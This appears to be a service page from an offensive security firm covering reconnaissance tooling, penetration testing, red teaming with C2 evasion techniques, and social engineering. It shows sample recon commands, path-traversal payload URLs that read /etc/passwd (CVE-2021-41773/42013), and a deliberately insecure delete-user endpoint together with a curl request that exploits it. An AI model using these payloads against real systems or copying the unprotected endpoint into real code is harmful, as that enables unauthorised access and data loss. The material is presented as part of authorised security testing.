Offensive Security

In cybersecurity, a robust defense is forged from a deep understanding of the offense. Our services are designed to emulate real-world threats, moving far beyond automated scanning to provide a true measure of your organization’s security posture. We operate within strict legal and ethical frameworks, ensuring all engagements are conducted with the highest level of professionalism. Our methodologies are aligned with international standards and European regulations, including TIBER-EU/DE guidelines for financial entities, ensuring our assessments strengthen your security posture and support your compliance goals.

Proactive Vulnerability Discovery

The foundation of any offensive operation is a comprehensive understanding of the target's attack surface. While classic tools like Nmap are invaluable for deep, service-level analysis, modern operations begin with rapid, large-scale reconnaissance. The Project Discovery stack is central to this approach, allowing for the swift identification of live hosts and web technologies at scale. This includes passive and active reconnaissance, open-source intelligence (OSINT) gathering, and initial footprinting to map out the digital landscape of the target organization.

Our experts leverage advanced techniques to uncover hidden assets, misconfigurations, and potential entry points that automated scanners often miss. This deep-dive discovery phase is crucial for building a comprehensive attack plan and ensuring no stone is left unturned in identifying exploitable weaknesses. We also utilize tools like uncover to query public search engines for internet-facing assets, providing a broader view of the attack surface.

# Step 1: Discover subdomains and pipe them to httpx to find live web servers.
$ subfinder -d example.com -silent | httpx -title -tech-detect -status-code

[example.com] [200] [OK] [Go,Amazon S3,Amazon Web Services]
[www.example.com] [200] [OK] [React,Webpack,Nginx]
[api.example.com] [403] [Forbidden] [Go,Google Cloud]
[dev.example.com] [200] [OK] [PHP,Apache]

# Step 2: Use naabu for fast port scanning on discovered hosts.
$ cat hosts.txt | naabu -silent -verify-host -o open_ports.txt

[example.com]:80
[example.com]:443
[api.example.com]:443
[dev.example.com]:80

# Step 3: Run targeted, template-based vulnerability scans with Nuclei.
$ nuclei -l open_ports.txt -t cves/,technologies/apache/,misconfiguration/ -o findings.log

[CVE-2021-41773] [http] [high] [apache] http://dev.example.com/cgi-bin/..%2f..%2f..%2f..%2fetc/passwd
[CVE-2021-42013] [http] [high] [apache] http://dev.example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

# Step 4: Leverage uncover to find internet-facing assets based on Shodan/Censys queries.
$ uncover -q 'port:8080 country:US org:"Example Corp"'

[1.2.3.4:8080] [Apache Tomcat/9.0.37] [US] [Example Corp]
[5.6.7.8:8080] [Jenkins 2.263.1] [US] [Example Corp]

Simulated Attacks & Exploitation

A vulnerability is only a potential threat until it is successfully exploited. Our Penetration Testing services answer the critical question: "What is the real-world impact of this flaw?" We follow the industry-standard Penetration Testing Execution Standard (PTES) to ensure a methodical and comprehensive assessment, moving beyond simple vulnerability identification to actual, controlled exploitation.

Our approach includes meticulous planning, in-depth intelligence gathering, and precise threat modeling to identify the most probable attack vectors. We then proceed with vulnerability analysis, leveraging both automated tools and manual expertise to uncover weaknesses. Detailed reporting provide actionable insights for remediation.

This structured approach ensures we not only identify weaknesses but also demonstrate their potential impact through safe, controlled exploitation. For example, consider a common web vulnerability like Broken Access Control (OWASP A01:2021), which often stems from insufficient validation of user permissions:

// Insecure: No check to see if the user is an admin.
app.post('/api/users/delete', (req, res) => {
  const { userId } = req.body;
  // Anyone can delete any user by supplying their ID
  deleteUser(userId);
  res.send({ message: 'User deleted.' });
});

# A non-admin user can delete any other user
curl -X POST https://example.com/api/users/delete \
-H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{"userId": "target_user_id"}'

HTTP/1.1 200 OK
Content-Type: application/json

{"message":"User deleted."}

Full-Scope Adversary Emulation

The ultimate test of a security program is not how it withstands a single exploit, but how it detects and responds to a determined, multi-layered attack. Our Red Teaming engagements provide this test, simulating a specific threat actor's Tactics, Techniques, and Procedures (TTPs) to evaluate your security program's true resilience. This involves a holistic approach, combining cyber, physical, and social engineering tactics to mimic real-world Advanced Persistent Threats (APTs).

We focus on achieving specific, pre-defined objectives, such as data exfiltration or critical system compromise, using covert and persistent methods. Our operations are designed to be stealthy, evading detection by existing security controls and testing the effectiveness of your security operations center (SOC) and incident response teams. This includes leveraging advanced C2 frameworks for realistic adversary simulation and bypassing traditional security measures.

Modern C2 frameworks like Sliver, Havoc, or Mythic enable advanced evasion techniques, including malleable C2 profiles that mimic legitimate network traffic, DNS over HTTPS (DoH) for covert communication, and CDN domain fronting to obscure the true origin of command and control servers. Our red team operations are designed to test your defenses against these sophisticated methods.

Securing the Human & Software Supply Chain

An organization's security posture is not defined by its infrastructure alone. The human element and the software supply chain are often the most targeted vectors. We provide comprehensive Application Security (AppSec) testing and Social Engineering assessments to address these critical areas. By integrating security into the development lifecycle (DevSecOps), we help you build secure applications from the ground up. This includes Static Application Security Testing (SAST) with tools like Semgrep, Dynamic Application Security Testing (DAST) with tools like OWASP ZAP, and Software Composition Analysis (SCA) to identify vulnerabilities in open-source dependencies.

Our social engineering engagements simulate real-world phishing, vishing, and physical intrusion attempts to assess your team's resilience and identify gaps in security awareness. We also focus on supply chain integrity, ensuring that all components, from development libraries to deployment pipelines, are secure and free from malicious tampering. This proactive approach minimizes the attack surface and strengthens your overall security posture against sophisticated adversaries.

Our research into the psychology of manipulation, spanning over three years, provides a unique edge in understanding and exploiting human vulnerabilities. We delve into cognitive biases, influence principles, and decision-making processes to craft highly effective social engineering campaigns. This deep understanding allows us to simulate realistic threats that test not just technological defenses, but also the human firewall, providing invaluable insights into an organization's overall resilience against sophisticated, human-centric attacks.
